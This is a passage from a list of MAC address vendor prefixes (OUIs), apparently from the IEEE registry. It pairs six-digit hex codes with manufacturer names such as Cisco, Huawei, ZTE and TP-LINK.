SHENQI Technology Co., Ltd. 1CADD1 Bosung Electronics Co., Ltd. 24E5AA Philips Oral Healthcare, Inc. 88CBA5 Suzhou Torchstar Intelligent Technology Co.,Ltd 046169 MEDIA GLOBAL LINKS CO., LTD. AC562C LAVA INTERNATIONAL(H.K) LIMITED 3CCE15 Mercedes-Benz USA, LLC 84DF19 Chuango Security Technology Corporation 3C4711 HUAWEI TECHNOLOGIES CO.,LTD 245BF0 Liteon, Inc. FCFEC2 Invensys Controls UK Limited E8F2E2 LG Innotek AC676F Electrocompaniet A.S. 4CB82C Cambridge Mobile Telematics, Inc. F0224E Esan electronic co. B0411D ITTIM Technologies 7CB25C Acacia Communications 78EB39 Instituto Nacional de Tecnología Industrial ECEED8 ZTLX Network Technology Co.,Ltd F85B9C SB SYSTEMS Co.,Ltd 7CA237 King Slide Technology CO., LTD. 300EE3 Aquantia Corporation 847303 Letv Mobile and Intelligent Information Technology (Beijing) Corporation Ltd. B0495F OMRON HEALTHCARE Co., Ltd. F44713 Leading Public Performance Co., Ltd. D4522A TangoWiFi.com B0ECE1 Private 407FE0 Glory Star Technics (ShenZhen) Limited BC5C4C ELECOM CO.,LTD. 6CA75F zte corporation C8C50E Shenzhen Primestone Network Technologies.Co., Ltd. 9CBEE0 Biosoundlab Co., Ltd. 5C5B35 Mist Systems, Inc. E807BF SHENZHEN BOOMTECH INDUSTRY CO.,LTD E8162B IDEO Security Co., Ltd. 709F2D zte corporation ECE2FD SKG Electric Group(Thailand) Co., Ltd. 88E603 Avotek corporation 74E28C Microsoft Corporation 94F19E HUIZHOU MAORONG INTELLIGENT TECHNOLOGY CO.,LTD C4924C KEISOKUKI CENTER CO.,LTD. E4F939 Minxon Hotel Technology INC. 38C70A WiFiSong 60E6BC Sino-Telecom Technology Co.,Ltd. 486EFB Davit System Technology Co., Ltd. 340A22 TOP-ACCESS ELECTRONICS CO LTD B008BF Vital Connect, Inc. 485415 NET RULES TECNOLOGIA EIRELI 70C76F INNO S 704E66 SHENZHEN FAST TECHNOLOGIES CO.,LTD 409B0D Shenzhen Yourf Kwan Industrial Co., Ltd C40880 Shenzhen UTEPO Tech Co., Ltd. 94C038 Tallac Networks 801967 Shanghai Reallytek Information TechnologyCo.,Ltd 6836B5 DriveScale, Inc. 2CF7F1 Seeed Technology Inc. F88479 Yaojin Technology(Shenzhen)Co.,Ltd 4C48DA Beijing Autelan Technology Co.,Ltd 90179B Nanomegas 3077CB Maike Industry(Shenzhen)CO.,LTD 3428F0 ATN International Limited EC3C5A SHEN ZHEN HENG SHENG HUI DIGITAL TECHNOLOGY CO.,LTD 8C0551 Koubachi AG E887A3 Loxley Public Company Limited 10FACE Reacheng Communication Technology Co.,Ltd D8CB8A Micro-Star INTL CO., LTD. A8D0E3 Systech Electronics Ltd. 8463D6 Microsoft Corporation 78B3B9 ShangHai sunup lighting CO.,LTD 186571 Top Victory Electronics (Taiwan) Co., Ltd. F8BC41 Rosslare Enterprises Limited 8486F3 Greenvity Communications 205CFA Yangzhou ChangLian Network Technology Co,ltd. 8C18D9 Shenzhen RF Technology Co., Ltd 6099D1 Vuzix / Lenovo 34F6D2 Panasonic Taiwan Co.,Ltd. DC2F03 Step forward Group Co., Ltd. 582136 KMB systems, s.r.o. 00AEFA Murata Manufacturing Co., Ltd. 8CDF9D NEC Corporation F8E903 D-Link International 6828F6 Vubiq Networks, Inc. 44356F Neterix 742EFC DirectPacket Research, Inc, 20C06D SHENZHEN SPACETEK TECHNOLOGY CO.,LTD 3CB792 Hitachi Maxell, Ltd., Optronics Division 7491BD Four systems Co.,Ltd. D43266 Fike Corporation 948E89 INDUSTRIAS UNIDAS SA DE CV 9405B6 Liling FullRiver Electronics & Technology Ltd 382C4A ASUSTek COMPUTER INC. 74547D Cisco SPVTG D48F33 Microsoft Corporation 1CA2B1 ruwido austria gmbh 945493 Rigado, LLC 34B7FD Guangzhou Younghead Electronic Technology Co.,Ltd 384B76 AIRTAME ApS 1C5216 DONGGUAN HELE ELECTRONICS CO., LTD 34029B CloudBerry Technologies Private Limited 70AF25 Nishiyama Industry Co.,LTD. B47C29 Shenzhen Guzidi Technology Co.,Ltd 2C1A31 Electronics Company Limited 6C198F D-Link International 60C1CB Fujian Great Power PLC Equipment Co.,Ltd 686E48 Prophet Electronic Technology Corp.,Ltd 30F7D7 Thread Technology Co., Ltd 3808FD Silca Spa 7C2587 chaowifi.com 2012D5 Scientech Materials Corporation DC3979 Skyport Systems EC1D7F zte corporation AC11D3 Suzhou HOTEKVideo Technology Co. Ltd 304225 BURG-WÄCHTER KG 1C4840 IMS Messsysteme GmbH F42853 Zioncom Electronics (Shenzhen) Ltd. 3C46D8 TP-LINK TECHNOLOGIES CO.,LTD. 6C0273 Shenzhen Jin Yun Video Equipment Co., Ltd. F0761C COMPAL INFORMATION (KUNSHAN) CO., LTD. F42833 MMPC Inc. 244F1D iRule LLC BC9CC5 Beijing Huafei Technology Co., Ltd. 505065 TAKT Corporation A4A4D3 Bluebank Communication Technology Co.Ltd 74F413 Maxwell Forest 34F0CA Shenzhen Linghangyuan Digital Technology Co.,Ltd. 30B5F1 Aitexin Technology Co., Ltd 08CD9B samtec automotive electronics & software GmbH 28FCF6 Shenzhen Xin KingBrand enterprises Co.,Ltd 4C26E7 Welgate Co., Ltd. 94D60E shenzhen yunmao information technologies co., ltd 7C6AC3 GatesAir, Inc 3CCD5A Technische Alternative GmbH 604826 Newbridge Technologies Int. Ltd. 24D13F MEXUS CO.,LTD 702C1F Wisol 9CBD9D SkyDisk, Inc. 74C621 Zhejiang Hite Renewable Energy Co.,LTD 44C306 SIFROM Inc. 54A31B Shenzhen Linkworld Technology Co,.LTD 5CE7BF New Singularity International Technical Development Co.,Ltd 1CEEE8 Ilshin Elecom 6C641A Penguin Computing E036E3 Stage One International Co., Ltd. 34DE34 zte corporation 34466F HiTEM Engineering 2C39C1 Ciena Corporation 6C2C06 OOO NPP Systemotechnika-NN 54EE75 Wistron InfoComm(Kunshan)Co.,Ltd. 60812B Custom Control Concepts F86601 Suzhou Chi-tek information technology Co., Ltd FC4AE9 Castlenet Technology Inc. 34E42A Automatic Bar Controls Inc. 20A787 Bointec Taiwan Corporation Limited A481EE Nokia Corporation 54C80F TP-LINK TECHNOLOGIES CO.,LTD. EC1766 Research Centre Module 7CFF62 Huizhou Super Electron Technology Co.,Ltd. A0D12A AXPRO Technology Inc. 30C750 MIC Technology Group 442938 NietZsche enterprise Co.Ltd. D881CE AHN INC. E0D31A EQUES Technology Co., Limited 9C3EAA EnvyLogic Co.,Ltd. 909864 Impex-Sat GmbH&Co KG DCE578 Experimental Factory of Scientific Engineering and Special Design Department 949F3F Optek Digital Technology company limited 987770 Pep Digital Technology (Guangzhou) Co., Ltd 4411C2 Telegartner Karl Gartner GmbH 9451BF Hyundai ESG 4C7F62 Nokia Corporation F03FF8 R L Drake B0C554 D-Link International 54D163 MAX-TECH,INC E41218 ShenZhen Rapoo Technology Co., Ltd. 2C8A72 HTC Corporation 4486C1 Siemens Low Voltage & Products C83168 eZEX corporation F84A73 EUMTECH CO., LTD 880F10 Huami Information Technology Co.,Ltd. 24336C Private C46BB4 myIDkey ECE512 tado GmbH 30918F Technicolor FC09F6 GUANGDONG TONZE ELECTRIC CO.,LTD 687848 Westunitis Co., Ltd. A8B9B3 ESSYS 64B370 PowerComm Solutions LLC D86595 Toy's Myth Inc. D8DD5F BALMUDA Inc. 88D962 Canopus Systems US LLC 2C18AE Trend Electronics Co., Ltd. E097F2 Atomax Inc. 90F3B7 Kirisun Communications Co., Ltd. DCAD9E GreenPriz B4827B AKG Acoustics GmbH 908C44 H.K ZONGMU TECHNOLOGY CO., LTD. 0C473D Hitron Technologies. Inc 9CF8DB shenzhen eyunmei technology co,.ltd 644214 Swisscom Energy Solutions AG 8CCDA2 ACTP, Inc. CC720F Viscount Systems Inc. 906717 Alphion India Private Limited 24050F MTN Electronic Co. Ltd 40B6B1 SUNGSAM CO,.Ltd 98FF6A OTEC(Shanghai)Technology Co.,Ltd. AC6BAC Jenny Science AG 707C18 ADATA Technology Co., Ltd FC4B1C INTERSENSOR S.R.L. 1879A2 GMJ ELECTRIC LIMITED E0C86A SHENZHEN TW-SCIE Co., Ltd 80BAE6 Neets 041A04 WaveIP 50206B Emerson Climate Technologies Transportation Solutions C8EE75 Pishion International Co. Ltd CC3429 TP-LINK TECHNOLOGIES CO.,LTD. 407496 aFUN TECHNOLOGY INC. 18C8E7 Shenzhen Hualistone Technology Co.,Ltd 3CF748 Shenzhen Linsn Technology Development Co.,Ltd 9C039E Beijing Winchannel Software Technology Co., Ltd F8A963 COMPAL INFORMATION (KUNSHAN) CO., LTD. 48A2B7 Kodofon JSC 443C9C Pintsch Tiefenbach GmbH F81CE5 Telefonbau Behnke GmbH BC2D98 ThinGlobal LLC 7C72E4 Unikey Technologies 181BEB Actiontec Electronics, Inc CC7498 Filmetrics Inc. 7C6AB3 IBC TECHNOLOGIES INC. F0321A Mita-Teknik A/S 4CD7B6 Helmer Scientific 746F3D Contec GmbH 483D32 Syscor Controls & Automation 9031CD Onyx Healthcare Inc. 404A18 Addrek Smart Solutions C4C0AE MIDORI ELECTRONIC CO., LTD. 90837A General Electric Water & Process Technologies 089758 Shenzhen Strong Rising Electronics Co.,Ltd DongGuan Subsidiary B424E7 Codetek Technology Co.,Ltd 44EE30 Budelmann Elektronik GmbH 38DBBB Sunbow Telecom Co., Ltd. 2493CA Voxtronic Technology Computer-Systeme GmbH 688AB5 EDP Servicos 407A80 Nokia Corporation F06130 Advantage Pharmacy Services, LLC D481CA iDevices, LLC B898F7 Gionee Communication Equipment Co,Ltd.ShenZhen C0F1C4 Pacidal Corporation Ltd. D858D7 CZ.NIC, z.s.p.o. 10B713 Private E8E770 Warp9 Tech Design, Inc. 78CA5E ELNO 98FFD0 Lenovo Mobile Communication Technology Ltd. 50A054 Actineon 48EE86 UTStarcom (China) Co.,Ltd 5056A8 Jolla Ltd D09D0A LINKCOM 54FB58 WISEWARE, Lda C0A0BB D-Link International 28A1EB ETEK TECHNOLOGY (SHENZHEN) CO.,LTD 4CCBF5 zte corporation F0F5AE Adaptrum Inc. F42896 SPECTO PAINEIS ELETRONICOS LTDA 9C2840 Discovery Technology,LTD.. F89FB8 YAZAKI Energy System Corporation F037A1 Huike Electronics (SHENZHEN) CO., LTD. 6CD1B0 WING SING ELECTRONICS HONG KONG LIMITED A4F522 CHOFU SEISAKUSHO CO.,LTD 7CE56B ESEN Optoelectronics Technology Co.,Ltd. CC4703 Intercon Systems Co., Ltd. 5C3327 Spazio Italia srl F85BC9 M-Cube Spa 8005DF Montage Technology Group Limited 78E8B6 zte corporation 041B94 Host Mobility AB CC2A80 Micro-Biz intelligence solutions Co.,Ltd 3859F8 MindMade Sp. z o.o. 5C026A Applied Vision Corporation 7CBD06 AE REFUsol 94BA56 Shenzhen Coship Electronics Co., Ltd. 2894AF Samhwa Telecom 740EDB Optowiz Co., Ltd 00A2FF abatec group AG D095C7 Pantech Co., Ltd. D02C45 littleBits Electronics, Inc. 5027C7 TECHNART Co.,Ltd 248000 Westcontrol AS F84A7F Innometriks Inc 58639A TPL SYSTEMES 0C9B13 Shanghai Magic Mobile Telecommunication Co.Ltd. 3C15EA TESCOM CO., LTD. B4CCE9 PROSYST 34A3BF Terewave. Inc. B0CE18 Zhejiang shenghui lighting co.,Ltd 503CC4 Lenovo Mobile Communication Technology Ltd. 286D97 SAMJIN Co., Ltd. ACE42E SK hynix 08EF3B MCS Logic Inc. 806C8B KAESER KOMPRESSOREN AG 048C03 ThinPAD Technology (Shenzhen)CO.,LTD 84E629 Bluwan SA 34CD6D CommSky Technologies C47F51 Inventek Systems E8D4E0 Beijing BenyWave Technology Co., Ltd. 681D64 Sunwave Communications Co., Ltd F4CD90 Vispiron Rotec GmbH E438F2 Advantage Controls C8F386 Shenzhen Xiaoniao Technology Co.,Ltd E8CE06 SkyHawke Technologies, LLC. B0808C Laser Light Engines C419EC Qualisys AB 981094 Shenzhen Vsun communication technology Co.,ltd 082719 APS systems/electronic AG D4AC4E BODi rS, LLC B03850 Nanjing CAS-ZDC IOT SYSTEM CO.,LTD C0DA74 Hangzhou Sunyard Technology Co., Ltd. 34A843 KYOCERA Display Corporation 6C5779 Aclima, Inc. 40BD9E Physio-Control, Inc 581CBD Affinegy F82BC8 Jiangsu Switter Co., Ltd 60C397 2Wire Inc 3065EC Wistron (ChongQing) 5CA3EB Lokel s.r.o. 04DF69 Car Connectivity Consortium 28DB81 Shanghai Guao Electronic Technology Co., Ltd 9CB793 Creatcomm Technology Inc. A0B100 ShenZhen Cando Electronics Co.,Ltd 40560C In Home Displays Ltd 9436E0 Sichuan Bihong Broadcast & Television New Technologies Co.,Ltd D4D50D Southwest Microwave, Inc B8CD93 Penetek, Inc D8FEE3 D-Link International F8516D Denwa Technology Corp. 1078CE Hanvit SI, Inc. D8DA52 APATOR S.A. 107A86 U&U ENGINEERING INC. 980D2E HTC Corporation 842F75 Innokas Group D4BF7F UPVEL 5061D6 Indu-Sol GmbH 68EC62 YODO Technology Corp. Ltd. F07F0C Leopold Kostal GmbH &Co. KG 5C22C4 DAE EUN ELETRONICS CO., LTD 08482C Raycore Taiwan Co., LTD. F4B381 WindowMaster A/S 74F102 Beijing HCHCOM Technology Co., Ltd 080EA8 Velex s.r.l. 0086A0 Private 60FE1E China Palms Telecom.Ltd 841E26 KERNEL-I Co.,LTD 349D90 Heinzmann GmbH & CO. KG D4016D TP-LINK TECHNOLOGIES CO.,LTD. FC1186 Logic3 plc 50CD32 NanJing Chaoran Science & Technology Co.,Ltd. 683EEC ERECA 44619C FONsystem co. ltd. BCBAE1 AREC Inc. 18FA6F ISC applied systems corp 9C9726 Technicolor 880905 MTMCommunications C42628 Airo Wireless 745F00 Samsung Semiconductor Inc. 541FD5 Advantage Electronics 90FF79 Metro Ethernet Forum E08177 GreenBytes, Inc. 48F230 Ubizcore Co.,LTD B0C95B Beijing Symtech CO.,LTD DCA989 MACANDC C05E6F V. Stonkaus firma Kodinis Raktas 6CD146 Smartek d.o.o. E0C2B7 Masimo Corporation F82EDB RTW GmbH & Co. KG 60A44C ASUSTek COMPUTER INC. 045FA7 Shenzhen Yichen Technology Development Co.,LTD 983F9F China SSJ (Suzhou) Network Technology Inc. F02329 SHOWA DENKI CO.,LTD. 6499A0 AG Elektronik AB A80180 IMAGO Technologies GmbH 044CEF Fujian Sanao Technology Co.,Ltd DC1DD4 Microstep-MIS spol. s r.o. E01877 FUJITSU LIMITED 149448 BLU CASTLE S.A. 40516C Grandex International Corporation D0D471 MVTECH co., Ltd 34ADE4 Shanghai Chint Power Systems Co., Ltd. 1853E0 Hanyang Digitech Co.Ltd C4E032 IEEE 1904.1 Working Group ACDBDA Shenzhen Geniatech Inc, Ltd A42C08 Masterwork Automodules 60B185 ATH system 504F94 Loxone Electronics GmbH 8C078C FLOW DATA INC 8887DD DarbeeVision Inc. 807B1E Corsair Components A0E25A Amicus SK, s.r.o. F87B62 FASTWEL INTERNATIONAL CO., LTD. Taiwan Branch B49842 zte corporation 9C9C1D Starkey Labs Inc. AC1702 Fibar Group sp. z o.o. 7898FD Q9 Networks Inc. 3C57D5 FiveCo 4C2258 cozybit, Inc. 10EA59 Cisco SPVTG 34FA40 Guangzhou Robustel Technologies Co., Limited 181725 Cameo Communications, Inc. E82E24 Out of the Fog Research LLC 1C52D6 FLAT DISPLAY TECHNOLOGY CORPORATION 40270B Mobileeco Co., Ltd ACE97F IoT Tech Limited 301518 Ubiquitous Communication Co. ltd. 101248 ITG, Inc. 106FEF Ad-Sol Nissin Corp A036F0 Comprehensive Power 180CAC CANON INC. 00DB1E Albedo Telecom SL 74943D AgJunction 080C0B SysMik GmbH Dresden C8FB26 Cisco SPVTG 7CC8AB Acro Associates, Inc. C4DA26 NOBLEX SA 1CC316 MileSight Technology Co., Ltd. C4E7BE SCSpro Co.,Ltd 105F49 Cisco SPVTG 4495FA Qingdao Santong Digital Technology Co.Ltd 60F2EF VisionVera International Co., Ltd. B01266 Futaba-Kikaku 909DE0 Newland Design + Assoc. Inc. 64D814 Cisco Systems, Inc 6CE4CE Villiger Security Solutions AG 30F33A +plugg srl 58CF4B Lufkin Industries C4393A SMC Networks Inc D45C70 Wi-Fi Alliance 08EBED World Elite Technology Co.,LTD 60BC4C EWM Hightec Welding GmbH F41E26 Simon-Kaloi Engineering C44567 SAMBON PRECISON and ELECTRONICS D0738E DONG OH PRECISION CO., LTD. E8718D Elsys Equipamentos Eletronicos Ltda 3C83B5 Advance Vision Electronics Co. Ltd. 808287 ATCOM Technology Co.Ltd. 28A192 GERP Solution A08C15 Gerhard D. Wempe KG 8CE081 zte corporation 485261 SOREEL 10FBF0 KangSheng LTD. 3C57BD Kessler Crane Inc. 600F77 SilverPlus, Inc 6851B7 PowerCloud Systems, Inc. A44E2D Adaptive Wireless Solutions, LLC 3CC12C AES Corporation 0CCDFB EDIC Systems Inc. 2CE2A8 DeviceDesign B49DB4 Axion Technologies Inc. D8182B Conti Temic Microelectronic GmbH 304449 PLATH GmbH 94FD2E Shanghai Uniscope Technologies Co.,Ltd 64A341 Wonderlan (Beijing) Technology Co., Ltd. 8CAE4C Plugable Technologies D8D5B9 Rainforest Automation, Inc. C0A0E2 Eden Innovations E8ABFA Shenzhen Reecam Tech.Ltd. 58874C LITE-ON CLEAN ENERGY TECHNOLOGY CORP. E85BF0 Imaging Diagnostics 20DC93 Cheetah Hi-Tech, Inc. 0CD9C1 Visteon Corporation 68AB8A RF IDeas 70E24C SAE IT-systems GmbH & Co. KG 88615A Siano Mobile Silicon Ltd. 30215B Shenzhen Ostar Display Electronic Co.,Ltd DC028E zte corporation DCB058 Bürkert Werke GmbH C8E1A7 Vertu Corporation Limited 88D7BC DEP Company F49466 CountMax,ltd 4CAB33 KST technology 5CE0F6 NIC.br- Nucleo de Informacao e Coordenacao do Ponto BR 00E666 ARIMA Communications Corp. F8E4FB Actiontec Electronics, Inc 5887E2 Shenzhen Coship Electronics Co., Ltd. B4DFFA Litemax Electronics Inc. 48F8B3 Cisco-Linksys, LLC 681CA2 Rosewill Inc. 7C092B Bekey A/S D808F5 Arcadia Networks Co. Ltd. 84DF0C NET2GRID BV 3CB87A Private E425E9 Color-Chip F44848 Amscreen Group Ltd 441319 WKK TECHNOLOGY LTD. 088F2C Hills Sound Vision & Lighting 3C9F81 Shenzhen CATIC Bit Communications Technology Co.,Ltd 18339D Cisco Systems, Inc 642216 Shandong Taixin Electronic co.,Ltd D43D7E Micro-Star Int'l Co, Ltd 64517E LONG BEN (DONGGUAN) ELECTRONIC TECHNOLOGY CO.,LTD. 0C57EB Mueller Systems 48282F zte corporation 745327 COMMSEN CO., LIMITED E47185 Securifi Ltd 881036 Panodic(ShenZhen) Electronics Limted 18F87A i3 International Inc. 142DF5 Amphitech 90F72F Phillips Machine & Welding Co., Inc. B45570 Borea 5C5015 Cisco Systems, Inc 0CD2B5 Binatone Telecommunication Pvt. Ltd 4846F1 Uros Oy 1CD40C Kriwan Industrie-Elektronik GmbH 747B7A ETH Inc. 1C7C45 Vitek Industrial Video Products, Inc. C8AE9C Shanghai TYD Elecronic Technology Co. Ltd A44C11 Cisco Systems, Inc 782544 Omnima Limited D4DF57 Alpinion Medical Systems 5048EB BEIJING HAIHEJINSHENG NETWORK TECHNOLOGY CO. LTD. 40AC8D Data Management, Inc. 54466B Shenzhen CZTIC Electronic Technology Co., Ltd 1C3477 Innovation Wireless 4423AA Farmage Co., Ltd. A0EF84 Seine Image Int'l Co., Ltd AC7A42 iConnectivity 5869F9 Fusion Transactive Ltd. B0C83F Jiangsu Cynray IOT Co., Ltd. CC14A6 Yichun MyEnergy Domain, Inc 98D686 Chyi Lee industry Co., ltd. 20443A Schneider Electric Asia Pacific Ltd 28C914 Taimag Corporation 4C7897 Arrowhead Alarm Products Ltd AC0A61 Labor S.r.L. B482C5 Relay2, Inc. 60D1AA Vishal Telecommunications Pvt Ltd CCC104 Applied Technical Systems 709BA5 Shenzhen Y&D Electronics Co.,LTD. EC42F0 ADL Embedded Solutions, Inc. 10BD18 Cisco Systems, Inc B0435D NuLEDs, Inc. A82BD6 Shina System Co., Ltd 8CC7AA Radinet Communications Inc. 20014F Linea Research Ltd 80D18B Hangzhou I'converge Technology Co.,Ltd B4A4B5 Zen Eye Co.,Ltd 489153 Weinmann Geräte für Medizin GmbH + Co. KG 549D85 EnerAccess inc 5CEE79 Global Digitech Co LTD 9CE10E NCTech Ltd 28F606 Syes srl A0C3DE Triton Electronic Systems Ltd. AC3FA4 TAIYO YUDEN CO.,LTD 0C130B Uniqoteq Ltd. 808698 Netronics Technologies Inc. 2C00F7 XOS 809393 Xapt GmbH 00DEFB Cisco Systems, Inc 90AC3F BrightSign LLC 7CACB2 Bosch Software Innovations GmbH 0043FF KETRON S.R.L. 745798 TRUMPF Laser GmbH + Co. KG 38E08E Mitsubishi Electric Corporation E4FA1D PAD Peripheral Advanced Design Inc. 4C9E80 KYOKKO ELECTRIC Co., Ltd. A826D9 HTC Corporation F03A55 Omega Elektronik AS 24B88C Crenus Co.,Ltd. 98BC57 SVA TECHNOLOGIES CO.LTD 98FE03 Ericsson - North America F0EEBB VIPAR GmbH 54D0ED AXIM Communications A49005 CHINA GREATWALL COMPUTER SHENZHEN CO.,LTD 3055ED Trex Network LLC D4A02A Cisco Systems, Inc 0463E0 Nome Oy BCA4E1 Nabto 900A3A PSG Plastic Service GmbH FC5B26 MikroBits 5CC213 Fr. Sauter AG 581D91 Advanced Mobile Telecom co.,ltd. 9CB008 Ubiquitous Computing Technology Corporation 00376D Murata Manufacturing Co., Ltd. E0EF25 Lintes Technology Co., Ltd. CCEED9 VAHLE DETO GmbH 645EBE Yahoo! JAPAN CCC50A SHENZHEN DAJIAHAO TECHNOLOGY CO.,LTD D01AA7 UniPrint B08E1A URadio Systems Co., Ltd E05DA6 Detlef Fink Elektronik & Softwareentwicklung 0C7523 BEIJING GEHUA CATV NETWORK CO.,LTD BC2C55 Bear Flag Design, Inc. 04F4BC Xena Networks 608C2B Hanson Technology EC1120 FloDesign Wind Turbine Corporation C495A2 SHENZHEN WEIJIU INDUSTRY AND TRADE DEVELOPMENT CO., LTD 0C9E91 Sankosha Corporation F48771 Infoblox 04F021 Compex Systems Pte Ltd 8823FE TTTech Computertechnik AG 98AAD7 BLUE WAVE NETWORKING CO LTD 20107A Gemtek Technology Co., Ltd. 502267 PixeLINK 9092B4 Diehl BGT Defence GmbH & Co. KG 806007 RIM 38A851 Moog, Ing 90185E Apex Tool Group GmbH & Co OHG 649EF3 Cisco Systems, Inc 34D09B MobilMAX Technology Inc. 087572 Obelux Oy 9C1FDD Accupix Inc. 506441 Greenlee 80946C TOKYO RADAR CORPORATION 00FA3B CLOOS ELECTRONIC GMBH 28CD1C Espotel Oy D824BD Cisco Systems, Inc D878E5 KUHN SA C49300 8Devices 4C3910 Newtek Electronics co., Ltd. 5808FA Fiber Optic & telecommunication INC. 7C94B2 Philips Healthcare PCCI 200505 RADMAX COMMUNICATION PRIVATE LIMITED 5848C0 COFLEC C8F704 Building Block Video C8AF40 marco Systemanalyse und Entwicklung GmbH AC319D Shenzhen TG-NET Botone Technology Co.,Ltd. 08D09F Cisco Systems, Inc B81413 Keen High Holding(HK) Ltd. 2037BC Kuipers Electronic Engineering BV A887ED ARC Wireless LLC 983571 Sub10 Systems Ltd B05CE5 Nokia Corporation CC6BF1 Sound Masking Inc. B82CA0 Honeywell HomMed 94AE61 Alcatel Lucent 7CA61D MHL, LLC 5CCEAD CDYNE Corporation 9CA3BA SAKURA Internet Inc. 709756 Happyelectronics Co.,Ltd D4206D HTC Corporation 1866E3 Veros Systems, Inc. 00B338 Kontron Design Manufacturing Services (M) Sdn. Bhd 94DE0E SmartOptics AS A429B7 bluesky 7C6B33 Tenyu Tech Co. Ltd. CCB8F1 EAGLE KINGDOM TECHNOLOGIES LIMITED DC2E6A HCT. Co., Ltd. 34255D Shenzhen Loadcom Technology Co.,Ltd 1897FF TechFaith Wireless Technology Limited 8C8E76 taskit GmbH B4D8DE iota Computing, Inc. 54CDA7 Fujian Shenzhou Electronic Co.,Ltd 1000FD LaonPeople 603553 Buwon Technology B89BC9 SMC Networks Inc 48022A B-Link Electronic Limited 48A6D2 GJsun Optical Science and Tech Co.,Ltd. 186D99 Adanis Inc. D44B5E TAIYO YUDEN CO., LTD. B40C25 Palo Alto Networks 40BF17 Digistar Telecom. SA E4AFA1 HES-SO 58920D Kinetic Avionics Limited 207600 Actiontec Electronics, Inc 84D32A IEEE 1905.1 F8E7B5 µTech Tecnologia LTDA 0462D7 ALSTOM HYDRO FRANCE CCC8D7 CIAS Elettronica srl 64AE0C Cisco Systems, Inc A446FA AmTRAN Video Corporation 2804E0 FERMAX ELECTRONICA S.A.U. FC01CD FUNDACION TEKNIKER 88E7A6 iKnowledge Integration Corp. 98E79A Foxconn(NanJing) Communication Co.,Ltd. 54F5B6 ORIENTAL PACIFIC INTERNATIONAL LIMITED 34A55D TECHNOSOFT INTERNATIONAL SRL D0C282 Cisco Systems, Inc 449CB5 Alcomp, Inc 24E6BA JSC Zavod im. Kozitsky 8C8A6E ESTUN AUTOMATION TECHNOLOY CO., LTD E0ED1A vastriver Technology Co., Ltd 685E6B PowerRay Co., Ltd. 4C32D9 M Rutty Holdings Pty. Ltd. 603FC5 COX CO., LTD 182B05 8D Technologies 54A9D4 Minibar Systems 4861A3 Concern Axion JSC D89685 GoPro 08A12B ShenZhen EZL Technology Co., Ltd 94319B Alphatronics BV 08FC52 OpenXS BV 205B5E Shenzhen Wonhe Technology Co., Ltd 3CC99E Huiyang Technology Co., Ltd C8A1BA Neul Ltd AC02EF Comsis C43A9F Siconix Inc. 0418B6 Private D4024A Delphian Systems LLC 84248D Zebra Technologies Inc 24EC99 ASKEY COMPUTER CORP B8621F Cisco Systems, Inc B45CA4 Thing-talk Wireless Communication Technologies Corporation Limited AC8ACD ROGER D.Wensker, G.Wensker sp.j. 984246 SOL INDUSTRY PTE., LTD 28A574 Miller Electric Mfg. Co. 3826CD ANDTEK C436DA Rusteletech Ltd. 00FC70 Intrepid Control Systems, Inc. D0AFB6 Linktop Technology Co., LTD 444F5E Pan Studios Co.,Ltd. 0C3956 Observator instruments A49981 FuJian Elite Power Tech CO.,LTD. B83A7B Worldplay (Canada) Inc. 783F15 EasySYNC Ltd. 88B168 Delta Control GmbH 20B399 Enterasys 18B79E Invoxia 147411 RIM 5C56ED 3pleplay Electronics Private Limited 0838A5 Funkwerk plettac electronic GmbH BCCD45 VOISMART 78028F Adaptive Spectrum and Signal Alignment (ASSIA), Inc. D4A425 SMAX Technology Co., Ltd. 98F8DB Marini Impianti Industriali s.r.l. 140708 Private 24C9DE Genoray 605464 Eyedro Green Solutions Inc. 54055F Alcatel Lucent 405539 Cisco Systems, Inc B8BEBF Cisco Systems, Inc 38FEC5 Ellips B.V. 24C86E Chaney Instrument Co. D4D898 Korea CNO Tech Co., Ltd 5070E5 He Shan World Fair Electronics Technology Limited 28EE2C Frontline Test Equipment 802275 Beijing Beny Wave Technology Co Ltd BC8199 BASIC Co.,Ltd. 24470E PentronicAB A4DB2E Kingspan Environmental Ltd F44EFD Actions Semiconductor Co.,Ltd.(Cayman Islands) 34BCA6 Beijing Ding Qing Technology, Ltd. D4C1FC Nokia Corporation 48DCFB Nokia Corporation 688470 eSSys Co.,Ltd F08BFE COSTEL.,CO.LTD 5435DF Symeo GmbH F43D80 FAG Industrial Services GmbH D4F0B4 Napco Security Technologies 40B3FC Logital Co. Limited D05FCE Hitachi Data Systems 8C82A8 Insigma Technology Co.,Ltd 3C2763 SLE quality engineering GmbH & Co. KG A44B15 Sun Cupid Technology (HK) LTD 508ACB SHENZHEN MAXMADE TECHNOLOGY CO., LTD. 7032D5 Athena Wireless Communications Inc 7CF0BA Linkwell Telesystems Pvt Ltd CCC62B Tri-Systems Corporation ACF97E ELESYS INC. 4C7367 Genius Bytes Software Solutions GmbH DC2B66 InfoBLOCK S.A. de C.V. 14F0C5 Xtremio Ltd. C027B9 Beijing National Railway Research & Design Instituteof Signal & Communication Co., Ltd. 70A41C Advanced Wireless Dynamics S.L. 285132 Shenzhen Prayfly Technology Co.,Ltd 4C3B74 VOGTEC(H.K.) Co., Ltd 509772 Westinghouse Digital D85D84 CAx soft GmbH 78A683 Precidata BC6784 Environics Oy B4E0CD Fusion-io, Inc 50AF73 Shenzhen Bitland Information Technology Co., Ltd. 488E42 DIGALOG GmbH 286046 Lantech Communications Global, Inc. A424B3 FlatFrog Laboratories AB A4856B Q Electronics Ltd 84EA99 Vieworks DCCBA8 Explora Technologies Inc 58EECE Icon Time Systems A41BC0 Fastec Imaging Corporation E01F0A Xslent Energy Technologies. LLC F40321 BeNeXt B.V. 00B033 OAO Izhevskiy radiozavod 707EDE NASTEC LTD. CCBE71 OptiLogix BV 7CDD90 Shenzhen Ogemray Technology Co., Ltd. C07E40 SHENZHEN XDK COMMUNICATION EQUIPMENT CO.,LTD E44F29 MA Lighting Technology GmbH 6CAB4D Digital Payment Technologies 60DA23 Estech Co.,Ltd 28F358 2C - Trifonov & Co 304C7E Panasonic Electric Works Automation Controls Techno Co.,Ltd. 64D1A3 Sitecom Europe BV 3831AC WEG 2C7ECF Onzo Ltd 10E3C7 Seohwa Telecom E84040 Cisco Systems, Inc 0C8112 Private 7C7D41 Jinmuyu Electronics Co., Ltd. 4C1480 NOREGON SYSTEMS, INC 60F673 TERUMO CORPORATION E48AD5 RF WINDOW CO., LTD. 24F0FF GHT Co., Ltd. 4C07C9 COMPUTER OFFICE Co.,Ltd. 40F4EC Cisco Systems, Inc 2872F0 ATHENA 9C807D SYSCABLE Korea 